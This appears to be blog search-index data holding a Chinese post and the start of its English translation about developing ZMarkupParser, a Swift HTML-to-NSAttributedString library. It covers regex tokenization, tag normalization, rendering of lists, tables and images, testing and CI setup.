OL_HTMLTagName(), P_HTMLTagName(), SPAN_HTMLTagName(), STRONG_HTMLTagName(), U_HTMLTagName(), UL_HTMLTagName(), DEL_HTMLTagName(), TR_HTMLTagName(), TD_HTMLTagName(), TH_HTMLTagName(), TABLE_HTMLTagName(), IMG_HTMLTagName(handler: nil), // ... ] }}public extension ZHTMLParserBuilder { static var styleAttributes: [HTMLTagStyleAttribute] { return [ ColorHTMLTagStyleAttribute(), BackgroundColorHTMLTagStyleAttribute(), FontSizeHTMLTagStyleAttribute(), FontWeightHTMLTagStyleAttribute(), LineHeightHTMLTagStyleAttribute(), WordSpacingHTMLTagStyleAttribute(), // ... ] }}ZHTMLParser init 只開放 internal,外部無法直接 init,只能透過 ZHTMLParserBuilder init。ZHTMLParser 封裝了 Render/Selector/Stripper 操作:public final class ZHTMLParser: ZMarkupParser { let htmlTags: [HTMLTag] let styleAttributes: [HTMLTagStyleAttribute] let rootStyle: MarkupStyle? internal init(...) { } // 取得 link style attributes public var linkTextAttributes: [NSAttributedString.Key: Any] { // ... } public func selector(_ string: String) -> HTMLSelector { // ... } public func selector(_ attributedString: NSAttributedString) -> HTMLSelector { // ... } public func render(_ string: String) -> NSAttributedString { // ... } // 允許使用 HTMLSelector 結果渲染出節點內的 NSAttributedString public func render(_ selector: HTMLSelector) -> NSAttributedString { // ... } public func render(_ attributedString: NSAttributedString) -> NSAttributedString { // ... } public func stripper(_ string: String) -> String { // ... } public func stripper(_ attributedString: NSAttributedString) -> NSAttributedString { // ... } // ...} 對應原始碼中的 ZHTMLParser.swift 實作UIKit 問題NSAttributedString 的結果我們最常的就是放到 UITextView 中顯示,但是要注意: UITextView 裡的連結樣式是統一看 linkTextAttributes 設定連結樣式,不會看 NSAttributedString.Key 的設定,且無法個別設定樣式;因此才會有 ZMarkupParser.linkTextAttributes 這個開口。 UILabel 暫時沒有方式改變連結樣式,且因 UILabel 沒有 TextStroage,若要拿來載入 NSTextAttachment 圖片;需要另外抓住 UILabel。public extension UITextView { func setHtmlString(_ string: String, with parser: ZHTMLParser) { self.setHtmlString(NSAttributedString(string: string), with: parser) } func setHtmlString(_ string: NSAttributedString, with parser: ZHTMLParser) { self.attributedText = parser.render(string) self.linkTextAttributes = parser.linkTextAttributes }}public extension UILabel { func setHtmlString(_ string: String, with parser: ZHTMLParser) { self.setHtmlString(NSAttributedString(string: string), with: parser) } func setHtmlString(_ string: NSAttributedString, with parser: ZHTMLParser) { let attributedString = parser.render(string) attributedString.enumerateAttribute(NSAttributedString.Key.attachment, in: NSMakeRange(0, attributedString.string.utf16.count), options: []) { (value, effectiveRange, nil) in guard let attachment = value as? ZNSTextAttachment else { return } attachment.register(self) } self.attributedText = attributedString }}因此多 Extension 了 UIKit,外部只需無腦 setHTMLString() 即可完成綁定。複雜的渲染項目— 項目清單關於項目清單的實現紀錄。在 HTML 中使用 &lt;ol&gt; / &lt;ul&gt; 包裝 &lt;li&gt; 表示項目清單:<ul> <li>ItemA</li> <li>ItemB</li> <li>ItemC</li> //...</ul>使用同前文解析方式,我們可以在 visit(_ markup: ListItemMarkup) 取得其他 list item 知道當前 list index (得利於有轉換成 AST)。func visit(_ markup: ListItemMarkup) -> Result { let siblingListItems = markup.parentMarkup?.childMarkups.filter({ $0 is ListItemMarkup }) ?? [] let position = (siblingListItems.firstIndex(where: { $0 === markup }) ?? 0)}NSParagraphStyle 有一個 NSTextList 物件可以用來顯示 list item,但是在實作上無法客製化空白的寬度 (個人覺得空白太大),如果項目符號與字串中間有空白會讓換行觸發在此,顯示會有點奇怪,如下圖:Beter 部分有機會透過 設定 headIndent, firstLineHeadIndent, NSTextTab 實現,但是測試發現字串太長、大小有變還是無法完美呈現結果。目前只做到 Acceptable,自己組合項目清單字串 insert 到字串前。我們只使用到 NSTextList.MarkerFormat 用來產項目清單符號,而不是直接使用 NSTextList。清單符號支援列表可參考: MarkupStyleList.swift最終顯示結果:( &lt;ol&gt;&lt;li&gt; )複雜的渲染項目 — Table類似 清單項目的實現,但是是表格。在 HTML 中使用 &lt;table&gt; 表格->包裝 &lt;tr&gt; 表格列->包裝 &lt;td&gt;/&lt;th&gt; 表示表格欄位:<table> <tr> <th>Company</th> <th>Contact</th> <th>Country</th> </tr> <tr> <td>Alfreds Futterkiste</td> <td>Maria Anders</td> <td>Germany</td> </tr> <tr> <td>Centro comercial Moctezuma</td> <td>Francisco Chang</td> <td>Mexico</td> </tr></table>實測原生的 NSAttributedString.DocumentType.html 是用 Private macOS API NSTextBlock 來完成顯示,因此能完整顯示 HTML 表格樣式及內容。 有點作弊!我們無法用 Private API 🥲 func visit(_ markup: TableColumnMarkup) -> Result { let attributedString = collectAttributedString(markup) let siblingColumns = markup.parentMarkup?.childMarkups.filter({ $0 is TableColumnMarkup }) ?? [] let position = (siblingColumns.firstIndex(where: { $0 === markup }) ?? 0) // 有無從外部指定想要的寬度, 可設 .max 不 truncated string var maxLength: Int? = markup.fixedMaxLength if maxLength == nil { // 沒指定則找到第一行同一欄的 String length 做為 max length if let tableRowMarkup = markup.parentMarkup as? TableRowMarkup, let firstTableRow = tableRowMarkup.parentMarkup?.childMarkups.first(where: { $0 is TableRowMarkup }) as? TableRowMarkup { let firstTableRowColumns = firstTableRow.childMarkups.filter({ $0 is TableColumnMarkup }) if firstTableRowColumns.indices.contains(position) { let firstTableRowColumnAttributedString = collectAttributedString(firstTableRowColumns[position]) let length = firstTableRowColumnAttributedString.string.utf16.count maxLength = length } } } if let maxLength = maxLength { // 欄位超過 maxLength 則 truncated string if attributedString.string.utf16.count > maxLength { attributedString.mutableString.setString(String(attributedString.string.prefix(maxLength))+\"...\") } else { attributedString.mutableString.setString(attributedString.string.padding(toLength: maxLength, withPad: \" \", startingAt: 0)) } } if position < siblingColumns.count - 1 { // 新增空白做為 spacing, 外部可指定 spacing 寬度幾個空白字 attributedString.append(makeString(in: markup, string: String(repeating: \" \", count: markup.spacing))) } return attributedString } func visit(_ markup: TableRowMarkup) -> Result { let attributedString = collectAttributedString(markup) attributedString.append(makeBreakLine(in: markup)) // 新增換行, 詳細請參考 Source Code return attributedString } func visit(_ markup: TableMarkup) -> Result { let attributedString = collectAttributedString(markup) attributedString.append(makeBreakLine(in: markup)) // 新增換行, 詳細請參考 Source Code attributedString.insert(makeBreakLine(in: markup), at: 0) // 新增換行, 詳細請參考 Source Code return attributedString }最終呈現效果如下圖:not perfect, but acceptable.複雜的渲染項目 — Image最終來講一個最大的魔王,載入遠端圖片到 NSAttributedString。在 HTML 中使用 &lt;img&gt; 表示圖片:<img src=\"https://user-images.githubusercontent.com/33706588/219608966-20e0c017-d05c-433a-9a52-091bc0cfd403.jpg\" width=\"300\" height=\"125\"/>並可透過 width / height HTML Attribute 指定想要的顯示大小。在 NSAttributedString 中顯示圖片,比想像中複雜很多;且沒有很好的實現,之前做 UITextView 文繞圖 時有稍微踩過坑,但這次在研究一輪發現還是沒有一個完美的解決方案。目前先忽略 NSTextAttachment 原生不能 reuse 釋放記憶體的問題,先只實現從遠端下載圖片放到 NSTextAttachment 在放到 NSAttributedString 中,並實現自動更新內容。此系列操作又再拆到另一個小的 Project 實現,想說日後比較好優化跟復用到其他 Project:主要是參考 Asynchronous NSTextAttachments 這系列文章實現,但是替換了最後的更新內容部分(下載完後要刷新 UI 才會呈現)還有增加 Delegate/DataSource 給外部擴充使用。運做流程與關係如上圖 宣告 ZNSTextAttachmentable 物件,封裝 NSTextStorage 物件(UITextView自帶)及 UILabel 本身 (UILabel 無 NSTextStorage)操作方法僅為實現 replace attributedString from NSRange. ( func replace(attachment: ZNSTextAttachment, to: ZResizableNSTextAttachment) ) 實現原理是先使用 ZNSTextAttachment 包裝 imageURL、PlaceholderImage、顯要顯示的大小資訊,然後先用 placeHolder 直接顯示圖片 當 系統需要此圖片在畫面時會呼叫 image(forBounds… 方法,此時我們開始下載 Image Data DataSource 出去讓外部可決定怎麼下載或實現 Image Cache Policy,預設直接使用 URLSession 請求圖片 Data 下載完成後 new 一個新的 ZResizableNSTextAttachment 並在 attachmentBounds(for… 實現自定圖片大小的邏輯 呼叫 replace(attachment: ZNSTextAttachment, to: ZResizableNSTextAttachment) 方法,將 ZNSTextAttachment 位置替換為 ZResizableNSTextAttachment 發出 didLoad Delegate 通知,讓外部有需要時可串接 完成 詳細程式碼可參考 Source Code 。不使用 NSLayoutManager.invalidateLayout(forCharacterRange: range, actualCharacterRange: nil) 、 NSLayoutManager.invalidateDisplay(forCharacterRange: range) 刷新 UI 的原因是發現 UI 沒有正確的顯示更新;既然都知道所在 Range 了,直接觸發取代 NSAttributedString,能確保 UI 正確更新。最終顯示結果如下:<span style=\"color:red\">こんにちは</span>こんにちはこんにちは <br /><img src=\"https://user-images.githubusercontent.com/33706588/219608966-20e0c017-d05c-433a-9a52-091bc0cfd403.jpg\"/>Testing & Continuous Integration這次專案除了撰寫 Unit Test 單元測試之外還建立了 Snapshot Test 做整合測試方便對最終的 NSAttributedString 做綜觀的測試比較。主要功能邏輯都有 UnitTests 並加上整合測試,最終 Test Coverage 在 85% 左右。ZMarkupParser — codecovSnapshot Test直接引入框架使用:import SnapshotTesting// ...func testShouldKeppNSAttributedString() { let parser = ZHTMLParserBuilder.initWithDefault().build() let textView = UITextView() textView.frame.size.width = 390 textView.isScrollEnabled = false textView.backgroundColor = .white textView.setHtmlString(\"html string...\", with: parser) textView.layoutIfNeeded() assertSnapshot(matching: textView, as: .image, record: false)}// ...直接比對最終結果是否符合預期,確保調整整合起來沒有異常。Codecov Test Coverage串接 Codecov.io (free for Public Repo) 評估 Test Coverage,只需安裝 Codecov Github App & 設計即可。Codecov <-> Github Repo 設定好後,也可以在專案根目錄加上 codecov.ymlcomment: # this is a top-level key layout: \"reach, diff, flags, files\" behavior: default require_changes: false # if true: only post the comment if coverage changes require_base: no # [yes :: must have a base report to post] require_head: yes # [yes :: must have a head report to post]設定檔,這樣可以啟用每個 PR 發出後,自動把 CI 跑的結果 Comment 到內容。Continuous IntegrationGithub Action, CI 整合: ci.ymlname: CIon: workflow_dispatch: pull_request: types: [opened, reopened] push: branches: - mainjobs: build: runs-on: self-hosted steps: - uses: actions/checkout@v3 - name: spm build and test run: | set -o pipefail xcodebuild test -workspace ZMarkupParser.xcworkspace -testPlan ZMarkupParser -scheme ZMarkupParser -enableCodeCoverage YES -resultBundlePath './scripts/TestResult.xcresult' -destination 'platform=iOS Simulator,name=iPhone 14,OS=16.1' build test | xcpretty - name: Codecov uses: codecov/codecov-action@v3.1.1 with: xcode: true xcode_archive_path: './scripts/TestResult.xcresult'此設定是在 PR opened/reopend or push main branch 時跑 build and test 最後把 test coverage 報告上傳到 codecov.Regex關於正規表示法,每用到一次就又再精進一次;這次實際沒用到太多,但是因為本來想用一個正則挖出成對的 HTML Tag 所以也多研究過要怎麼撰寫。一些這次新學習的 cheat sheet 筆記… ?: 可以讓 ( ) 匹配 group 結果,但不會捕獲返回e.g. (?:https?:\\/\\/)?(?:www\\.)?example\\.com 在 https://www,example.com 會返回整個網址而不是 https:// , www .+? 非貪婪的匹配 (找到最近的就返回)e.g. &lt;.+?&gt; 在 &lt;a&gt;test&lt;/a&gt; 會返回 &lt;a&gt; , &lt;/a&gt; 而非整個字串 (?=XYZ) 任何字串直到 XYZ 字串出現;要注意,另一個與之相似的 [^XYZ] 是代表任何字串直到 X or Y or Z 字元出現e.g. (?:__)(.+?(?=__))(?:__) (任何字串直到 __ ) 會匹配出 test ?R 遞迴往內找一樣規則的值e.g. \\((?:[^()]|((?R)))+\\) 在 (simple) (and(nested)) 會匹配出 (simple) , (and(nested)) , (nested) ?&lt;GroupName&gt; … \\k&lt;GroupName&gt; 匹配前面的 Group Namee.g. (?&lt;tagName&gt;&lt;a&gt;).*(\\k&lt;GroupName&gt;) (?(X)yes|no) 第 X 個匹配結果有值(也可以用 Group Name)時則匹配後面條件 yes 否則匹配 no Swift 暫時不支援其他 Regex 好文: Swift 正则速查手册 正则表达式是如何运作的? -> 後續優化此專案的正則效能時可參考 Regex 錯誤導致無窮尋找,最終引發伺服器故障的案例 Regex101 右下方可查詢所有正則規則Swift Package Manager & Cocoapods這也是我第一次開發 SPM & Cocoapods…蠻有趣的,SPM 真的方便;但是踩到同時兩個專案依賴同個套件的話,同時開兩個專案會有其中一個找不到該套件然後 Build 不起來。。。Cocoapods 有上傳 ZMarkupParser 但沒測試正不正常,因為我是用 SPM 😝。ChatGPT實際搭配開發體驗下來,覺得只有在協助潤稿 Readme 時最有用;在開發上目前沒體會到有感的地方;因為詢問 mid-senior 以上的問題,他也給不出個確切答案甚是是錯誤的答案 (有遇到問他一些正則規則,答案不太正確),所以最後還是回到 Google 人工找正確解答。更不要說請他寫 Code 了,除非是簡單的 Code Gen Object;不然不要幻想他能直接完成整個工具架構。 (至少目前是這樣,感覺寫 Code 這塊 Copilot 可能更有幫助)但他可以給一些知識盲區的大方向,讓我們能快速大略知道某些地方應該會怎麼做;有的時候掌握度太低,在 Google 反而很難快速定位到正確的方向,這時候 ChatGPT 就蠻有幫助的。聲明歷經三個多月的研究及開發,已疲憊不堪,但還是要聲明一下此做法僅為我研究後得到的可行結果,不一定是最佳解,或還有可優化的地方,這專案更像是一個拋磚引玉,希望能得到一個 Markup Language to NSAttributedString 的完美解答, 非常歡迎大家貢獻;有許多事項還需要群眾的力量才能完善 。ContributingZMarkupParser ⭐這邊先列一些此時此刻(2023/03/12)想到能更好的地方,之後會在 Repo 上紀錄: 效能/算法的優化,雖然比原生 NSAttributedString.DocumentType.html 快速且穩定;但還有需多優化空間,我相信效能絕對不如 XMLParser;希望有朝一日能有同樣的效能但又能保持客製化及自動修正容錯 支援更多 HTML Tag、Style Attribute 轉換解析 ZNSTextAttachment 再優化,實現 reuse 能,釋放記憶體;可能要研究 CoreText 支援 Markdown 解析,因底層抽象其實不局限於 HTML;所以只要建好前面的 Markdown 轉 Markup 物件就能完成 Markdown 解析;因此我取名叫 ZMarkupParser,而不是 ZHTMLParser,就是希望有朝一日也能支援 Markdown to NSAttributedString 支援 Any to Any, e.g. HTML To Markdown, Markdown To HTML,因我們有原始的 AST 樹(Markup 物件),所以實現任意 Markup 間的轉換是有機會的 實現 css !important 功能,加強抽象 MarkupStyle 的繼承策略 加強 HTML Selector 功能,目前只是最粗淺的 filter 功能 好多好多, 歡迎開 issue 如果您心有餘而力不足,也可以透過給我一顆 ⭐ 讓 Repo 可以被更多人看見,進而讓 Github 大神有機會協助貢獻!總結ZMarkupParser以上就是我開發 ZMarkupParser 的所有技術細節及心路歷程,花費了我快三個月的下班及假日時間,無數的研究及實踐過程,到撰寫測試、提升 Test Coverage、建立 CI;最後才有一個看起來有點樣子的成果;希望這個工具有解決掉有相同困擾的朋友,也希望大家能一起讓這個工具變得更好。pinkoi.com目前有應用在敝司 pinkoi.com 的 iOS 版 App 上,沒有發現問題。😄===本文首次發表於 Medium ➡️ 前往查看" }, { "title": "The Chronicles of Crafting an HTML Parser from Scratch", "url": "/posts/2724f02f6e7_en/", "categories": "ZRealm, Dev.", "tags": "ios-app-development, html-parsing, nsattributedstring, html, rendering", "date": "2023-03-12 01:09:22 +0800", "snippet": " 中文原文版 English Version (Translated using ChatGPT) The Chronicles of Crafting an HTML ParserDevelopment Record of ZMarkupParser HTML to NSAttributedString Rendering EngineThis a...", "content": " 中文原文版 English Version (Translated using ChatGPT) The Chronicles of Crafting an HTML ParserDevelopment Record of ZMarkupParser HTML to NSAttributedString Rendering EngineThis article covers HTML string tokenization, normalization, abstract syntax tree generation, the application of Visitor Pattern / Builder Pattern, and some miscellaneous discussions.Continuing from the Previous ArticleLast year, I published an article titled “[TL;DR] Implementing iOS NSAttributedString HTML Render” which briefly introduced the use of XMLParser to parse HTML and convert it into NSAttributedString.Key. The program architecture and approach mentioned in that article were quite disorganized as it was merely a record of the challenges encountered without investing much time into exploring the topic in depth.Convert HTML String to NSAttributedStringRevisiting the topic, our goal is to convert HTML strings provided by an API into NSAttributedString and apply corresponding styles to display them in UITextView/UILabel.For example, <b>Test<a>Link</a></b> should be displayed as Test Link. Note 1Using HTML as the communication and rendering medium between the app and data is not recommended. HTML specifications are too flexible, and apps cannot support all HTML styles without an official HTML conversion rendering engine. Note 2Starting from iOS 14, you can use the native AttributedString to parse Markdown, or you can introduce the apple/swift-markdown Swift Package to parse Markdown. Note 3Due to the large size of our company’s project and the extensive use of HTML as a medium for many years, we are unable to completely switch to Markdown or other markup languages at the moment. Note 4The HTML used here is not meant to display entire HTML webpages; it is merely used as a Markdown-rendering string with styles.(To render entire pages with complex content, including images and tables, WebView with loadHTML is still required.) It is strongly recommended to use Markdown as the string rendering language. However, if your project faces similar challenges to mine, where you have to use HTML and lack an elegant tool for converting to NSAttributedString, then please proceed with using HTML. For those who remember the previous article, you can directly skip to the section ZhgChgLi / ZMarkupParser.NSAttributedString.DocumentType.htmlThe HTML to NSAttributedString approaches found on the internet usually involve directly using NSAttributedString’s built-in options to render HTML, as shown below:let htmlString = \"<b>Test<a>Link</a></b>\"let data = htmlString.data(using: String.Encoding.utf8)!let attributedOptions: [NSAttributedString.DocumentReadingOptionKey: Any] = [ .documentType: NSAttributedString.DocumentType.html, .characterEncoding: String.Encoding.utf8.rawValue]let attributedString = try! NSAttributedString(data: data, options: attributedOptions, documentAttributes: nil)Issues with this approach: Poor performance: This method renders styles through WebView Core and then switches back to the Main Thread for UI display. Rendering around 300 characters takes 0.03 seconds. Content loss: For example, marketing copies using <Congratulation!> would have the HTML tag removed. Limited customization: For instance, you cannot specify the boldness level of HTML bold text when converting to NSAttributedString. Intermittent crashes since iOS ≥ 12 with no official solution. Extensive crashes observed in iOS 15, particularly when the device’s battery is low (iOS ≥ 15.2 has fixed this issue). Crash when the string is too long; testing showed that inputting a string of length 54,600+ would cause a 100% crash (EXC_BAD_ACCESS).The most painful issue is undoubtedly the crashing problem. Since iOS 15 was released until version 15.2 with the fix, this problem has consistently plagued the app. According to the data, between 2022/03/11 and 2022/06/08, there were more than 2.4K crashes, impacting over 1.4K users.The second problem is performance. As HTML is used as a markup language for string styles, it is heavily applied to UILabel/UITextView in the app. As mentioned earlier, rendering one label takes 0.03 seconds, and when multiplied across multiple *UILabel/UITextView, it leads to noticeable lag for the users’ interactions.XMLParserThe second approach is the one introduced in the previous article, which involves using XMLParser to parse HTML and apply the corresponding NSAttributedString Key to implement the styles.You can refer to the implementation in SwiftRichString and the content covered in the previous article. The previous article only explored the possibility of using XMLParser to parse HTML and perform corresponding conversions. While an experimental implementation was completed, it was not designed as a well-structured “tool” with extendability.Issues with this approach: Fault tolerance rate of 0: <br> / <Congratulation!> / <b>Bold<i>Bold+Italic</b>Italic</i>In the three scenarios above, when XMLParser parses the HTML, it will throw an error and display blank. Using XMLParser, HTML strings must fully comply with XML rules and cannot be displayed with fault tolerance like in a browser or NSAttributedString.DocumentType.html.Standing on the Shoulders of GiantsNeither of the two solutions can perfectly and elegantly solve the HTML issues, so I started searching for existing solutions. johnxnguyen / DownSupports converting Markdown to Any (XML/NSAttributedString…), but does not support converting HTML. malcommac / SwiftRichStringUses XMLParser as the underlying mechanism, but testing showed the same fault tolerance rate of 0 issues. scinfu / SwiftSoupSupports HTML Parser (Selector) but does not support conversion to NSAttributedString. After an extensive search, it seems that all the results are similar to the projects mentioned above, Orz, there’s no giant’s shoulder to stand on.ZhgChgLi/ZMarkupParserWith no giants to rely on, I had to become the giant myself and developed the HTML String to NSAttributedString tool.Developed purely in Swift, it uses Regex to parse HTML tags and tokenization to analyze and correct tag correctness (fixing unclosed tags and misplaced tags). It then converts the parsed data into an abstract syntax tree and uses the Visitor Pattern to map HTML tags to abstract styles, resulting in the final NSAttributedString. The tool does not rely on any external parser library.Features Supports HTML Render (to NSAttributedString) / Stripper (removing HTML tags) / Selector functionalities. Higher performance compared to NSAttributedString.DocumentType.html. Automatically analyzes and corrects tag correctness (fixing unclosed tags and misplaced tags). Supports dynamic styling from style=”color:red…”. Supports custom style specifications, for example, requiring extra boldness. Offers flexibility for extending or customizing tags and attributes. For detailed information on installation and usage, please refer to the article: “ZMarkupParser HTML String to NSAttributedString Tool.”To try it out directly, you can git clone the project, open the ZMarkupParser.xcworkspace project, select the ZMarkupParser-Demo target, and build & run the project.ZMarkupParserTechnical DetailsNow let’s get to the technical details behind the development of this tool.Overview of the ProcessThe above image provides a rough overview of the process, and in the following articles, each step will be explained in detail with accompanying code. ⚠️️️️️️ This article will simplify the demo code and reduce abstractions and performance considerations, focusing on explaining the working principles. For the final implementation, please refer to the Source Code of the project.Code-Based TokenizationWhen it comes to HTML rendering, the most crucial step is parsing. In the past, HTML was parsed using XMLParser as if it were XML. However, this approach couldn’t handle the fact that HTML, in everyday use, is not always 100% XML-compliant, leading to parsing errors and an inability to dynamically correct them.After ruling out the XMLParser approach, the only option left for us in Swift was to use regular expressions (Regex) for matching and parsing.Initially, I didn’t delve too deep and thought I could directly use regular expressions to extract “paired” HTML tags, then recursively search for HTML tags inside them until the process is complete. However, this method couldn’t handle nested HTML tags or support misaligned, error-tolerant situations. Therefore, I changed the strategy to extract “individual” HTML tags and record whether they are Start Tags, Close Tags, or Self-Closing Tags, along with other string combinations, forming an array of parsing results.The structure of Tokenization is as follows:enum HTMLParsedResult { case start(StartItem) // <a> case close(CloseItem) // </a> case selfClosing(SelfClosingItem) // <br/> case rawString(NSAttributedString)}extension HTMLParsedResult { class SelfClosingItem { let tagName: String let tagAttributedString: NSAttributedString let attributes: [String: String]? init(tagName: String, tagAttributedString: NSAttributedString, attributes: [String : String]?) { self.tagName = tagName self.tagAttributedString = tagAttributedString self.attributes = attributes } } class StartItem { let tagName: String let tagAttributedString: NSAttributedString let attributes: [String: String]? // The Start Tag could be an exceptional HTML Tag or just normal text, e.g., <Congratulation!>. After subsequent normalization, if it is an isolated Start Tag, it will be marked as True. var isIsolated: Bool = false init(tagName: String, tagAttributedString: NSAttributedString, attributes: [String : String]?) { self.tagName = tagName self.tagAttributedString = tagAttributedString self.attributes = attributes } // Used for automatic padding correction during subsequent normalization func convertToCloseParsedItem() -> CloseItem { return CloseItem(tagName: self.tagName) } // Used for automatic padding correction during subsequent normalization func convertToSelfClosingParsedItem() -> SelfClosingItem { return SelfClosingItem(tagName: self.tagName, tagAttributedString: self.tagAttributedString, attributes: self.attributes) } } class CloseItem { let tagName: String init(tagName: String) { self.tagName = tagName } }}The regular expression used is as follows:<(?:(?<closeTag>\\/)?(?<tagName>[A-Za-z0-9]+)(?<tagAttributes>(?:\\s*(\\w+)\\s*=\\s*([\"|']).*?\\5)*)\\s*(?<selfClosingTag>\\/)?>-> Online Regex101 Playground closeTag: Matches </a> tagName: Matches or tagAttributes: Matches <a href=”https://zhgchg.li” style=”color:red” > selfClosingTag: Matches *Note: This regex can still be optimized, which we can address in the future. The latter part of the article provides additional information about the regex for those interested in delving deeper.The combined code is as follows:var tokenizationResult: [HTMLParsedResult] = []let expression = try? NSRegularExpression(pattern: pattern, options: expressionOptions)let attributedString = NSAttributedString(string: \"<a>Li<b>nk</a>Bold</b>\")let totalLength = attributedString.string.utf16.count // utf-16 support emojivar lastMatch: NSTextCheckingResult?// Start Tags Stack, first in, last out (FILO)// Check if the HTML string requires subsequent normalization for fixing misplacements or completing Self-Closing Tagsvar stackStartItems: [HTMLParsedResult.StartItem] = []var needForFormatter: Bool = falseexpression.enumerateMatches(in: attributedString.string, range: NSMakeRange(0, totalLength)) { match, _, _ in if let match = match { // Check the string between tags or to the first tag, e.g., \"Test<a>Link</a>zzz<b>bold</b>Test2\" -> \"Test,zzz\" let lastMatchEnd = lastMatch?.range.upperBound ?? 0 let currentMatchStart = match.range.lowerBound if currentMatchStart > lastMatchEnd { let rawStringBetweenTag = attributedString.attributedSubstring(from: NSMakeRange(lastMatchEnd, (currentMatchStart - lastMatchEnd))) tokenizationResult.append(.rawString(rawStringBetweenTag)) } // <a href=\"https://zhgchg.li\">, </a> let matchAttributedString = attributedString.attributedSubstring(from: match.range) // a, a let matchTag = attributedString.attributedSubstring(from: match.range(withName: \"tagName\"))?.string.trimmingCharacters(in: .whitespacesAndNewlines).lowercased() // false, true let matchIsEndTag = matchResult.attributedString(from: match.range(withName: \"closeTag\"))?.string.trimmingCharacters(in: .whitespacesAndNewlines) == \"/\" // href=\"https://zhgchg.li\", nil // Use regex to extract HTML attributes into [String: String], please refer to the Source Code for details let matchTagAttributes = parseAttributes(matchResult.attributedString(from: match.range(withName: \"tagAttributes\"))) // false, false let matchIsSelfClosingTag = matchResult.attributedString(from: match.range(withName: \"selfClosingTag\"))?.string.trimmingCharacters(in: .whitespacesAndNewlines) == \"/\" if let matchAttributedString = matchAttributedString, let matchTag = matchTag { if matchIsSelfClosingTag { // e.g. <br/> tokenizationResult.append(.selfClosing(.init(tagName: matchTag, tagAttributedString: matchAttributedString, attributes: matchTagAttributes))) } else { // e.g. <a> or </a> if matchIsEndTag { // e.g. </a> // Retrieve the position of the corresponding Start Tag from the Stack, starting from the last occurrence if let index = stackStartItems.lastIndex(where: { $0.tagName == matchTag }) { // If it's not the last one, it means there are misplacements or missing closing Tags if index != stackStartItems.count - 1 { needForFormatter = true } tokenizationResult.append(.close(.init(tagName: matchTag))) stackStartItems.remove(at: index) } else { // Redundant close tag, e.g., </a> // It doesn't affect subsequent steps, so we ignore it } } else { // e.g. <a> let startItem: HTMLParsedResult.StartItem = HTMLParsedResult.StartItem(tagName: matchTag, tagAttributedString: matchAttributedString, attributes: matchTagAttributes) tokenizationResult.append(.start(startItem)) // Push it onto the Stack stackStartItems.append(startItem) } } } lastMatch = match }}// Check the ending RawString, e.g., \"Test<a>Link</a>Test2\" -> \"Test2\"if let lastMatch = lastMatch { let currentIndex = lastMatch.range.upperBound if totalLength > currentIndex { // There are remaining characters let resetString = attributedString.attributedSubstring(from: NSMakeRange(currentIndex, (totalLength - currentIndex))) tokenizationResult.append(.rawString(resetString)) }} else { // lastMatch = nil, meaning no tags were found, and it's all plain text let resetString = attributedString.attributedSubstring(from: NSMakeRange(0, totalLength)) tokenizationResult.append(.rawString(resetString))}// Check if the Stack is empty, if not, it means there are Start Tags without corresponding End Tags// Mark them as isolated Start Tagsfor stackStartItem in stackStartItems { stackStartItem.isIsolated = true needForFormatter = true}print(tokenizationResult)// [// .start(\"a\",[\"href\":\"https://zhgchg.li\"])// .rawString(\"Li\")// .start(\"b\",nil)// .rawString(\"nk\")// .close(\"a\")// .rawString(\"Bold\")// .close(\"b\")// ]Operation process as shown in the diagram above.In the end, you will get a Tokenization result array. Corresponding implementation in the source code: HTMLStringToParsedResultProcessor.swiftStandardization — Normalization Also known as Formatter, normalization.After obtaining the preliminary parsing result in the previous step, if further normalization is required during the parsing process, this step is necessary to automatically correct HTML tag issues.There are three types of HTML tag issues: HTML tag with a missing close tag, for example, <br> Regular text being treated as an HTML tag, for example, <Congratulation!> HTML tags with misplacement, for example, <a>Li<b>nk</a>Bold</b>The correction process is straightforward; we need to iterate through the elements of the Tokenization result and attempt to fill in the missing parts.Operation process as shown in the diagram abovevar normalizationResult = tokenizationResult// Start Tags Stack, First In Last Out (FILO)var stackExpectedStartItems: [HTMLParsedResult.StartItem] = []var itemIndex = 0while itemIndex < newItems.count { switch newItems[itemIndex] { case .start(let item): if item.isIsolated { // If it is an isolated Start Tag if WC3HTMLTagName(rawValue: item.tagName) == nil && (item.attributes?.isEmpty ?? true) { // If it is not a WCS-defined HTML Tag and has no HTML Attribute // Treat it as regular raw string type normalizationResult[itemIndex] = .rawString(item.tagAttributedString) } else { // Otherwise, convert it to a self-closing tag, e.g., <br> -> <br/> normalizationResult[itemIndex] = .selfClosing(item.convertToSelfClosingParsedItem()) } itemIndex += 1 } else { // Normal Start Tag, add to the Stack stackExpectedStartItems.append(item) itemIndex += 1 } case .close(let item): // Encountered a Close Tag // Get the tags between the Start Stack Tag and this Close Tag // e.g., <a><u><b>[CurrentIndex]</a></u></b> -> Interval 0 // e.g., <a><u><b>[CurrentIndex]</a></u></b> -> Interval b,u let reversedStackExpectedStartItems = Array(stackExpectedStartItems.reversed()) guard let reversedStackExpectedStartItemsOccurredIndex = reversedStackExpectedStartItems.firstIndex(where: { $0.tagName == item.tagName }) else { itemIndex += 1 continue } let reversedStackExpectedStartItemsOccurred = Array(reversedStackExpectedStartItems.prefix(upTo: reversedStackExpectedStartItemsOccurredIndex)) // Interval 0 means the tags are not misplaced guard reversedStackExpectedStartItemsOccurred.count != 0 else { // If it is a pair, pop it stackExpectedStartItems.removeLast() itemIndex += 1 continue } // If there are other intervals, automatically fill in the missing tags in between // e.g., <a><u><b>[CurrentIndex]</a></u></b> -> // e.g., <a><u><b>[CurrentIndex]</b></u></a><b></u></u></b> let stackExpectedStartItemsOccurred = Array(reversedStackExpectedStartItemsOccurred.reversed()) let afterItems = stackExpectedStartItemsOccurred.map({ HTMLParsedResult.start($0) }) let beforeItems = reversedStackExpectedStartItemsOccurred.map({ HTMLParsedResult.close($0.convertToCloseParsedItem()) }) normalizationResult.insert(contentsOf: afterItems, at: newItems.index(after: itemIndex)) normalizationResult.insert(contentsOf: beforeItems, at: itemIndex) itemIndex = newItems.index(after: itemIndex) + stackExpectedStartItemsOccurred.count // Update Start Stack Tags // e.g., -> b,u stackExpectedStartItems.removeAll { startItem in return reversedStackExpectedStartItems.prefix(through: reversedStackExpectedStartItemsOccurredIndex).contains(where: { $0 === startItem }) } case .selfClosing, .rawString: itemIndex += 1 }}print(normalizationResult)// [// .start(\"a\",[\"href\":\"https://zhgchg.li\"])// .rawString(\"Li\")// .start(\"b\",nil)// .rawString(\"nk\")// .close(\"b\")// .close(\"a\")// .start(\"b\",nil)// .rawString(\"Bold\")// .close(\"b\")// ] Corresponding implementation in the source code: HTMLParsedResultFormatterProcessor.swiftAbstract Syntax 